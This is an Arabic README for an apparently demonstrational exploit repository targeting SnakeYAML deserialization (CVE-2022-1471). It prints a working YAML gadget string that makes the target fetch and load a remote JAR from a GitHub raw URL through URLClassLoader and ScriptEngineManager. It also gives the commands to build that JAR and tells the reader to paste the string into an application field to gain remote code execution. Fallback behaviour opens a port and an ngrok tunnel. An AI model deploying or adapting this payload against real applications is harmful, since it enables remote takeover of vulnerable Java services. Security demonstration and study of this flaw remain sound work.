
حمولة استغلال SnakeYAML CVE-2022-1471 للعرض التوضيحي
حمولة استغلال لإلغاء تسلسل SnakeYAML لـ CVE-2022-1471، مقتبسة من artsploit/yaml-payload (مبنية أصلاً على mbechler/marshalsec).
عند تحميلها عبر Yaml.load() غير الآمن من SnakeYAML، تستولي هذه الحمولة على التطبيق الجاري وتستبدله بصفحة "You've Been PWNED":
إذا لم يكن حقن صمام Tomcat متاحاً (مثل تطبيق غير Spring)، فإنه يتراجع إلى بدء خادم HTTP مستقل على المنفذ 9999 وينشئ نفق ngrok تلقائياً إذا كان ngrok قيد التشغيل.
يعمل هذا محلياً على macOS وفي خطوط أنابيب CI/CD (مثل GitHub Actions على Ubuntu).
تقوم حمولة SnakeYAML بتشغيل ScriptEngineManager عبر SPI لجافا (واجهة مزود الخدمة):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL يشير إلى yaml-payload.jar الخاص بهذا المستودعURLClassLoader لتحميل الفئات عن بُعدScriptEngineManager ويحمل AwesomeScriptEngineFactory عبر META-INF/services/javax.script.ScriptEngineFactory/ بصفحة PWNEDيتطلب JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
تُستخدم كحمولة استغلال في مشروع maven-demo. الصق سلسلة الحمولة في حقل اسم التطبيق لتشغيل RCE. سيتم استبدال صفحة التطبيق بصفحة PWNED عند الطلب التالي. راجع README الخاص بذلك المستودع للحصول على تعليمات العرض التوضيحي الكاملة.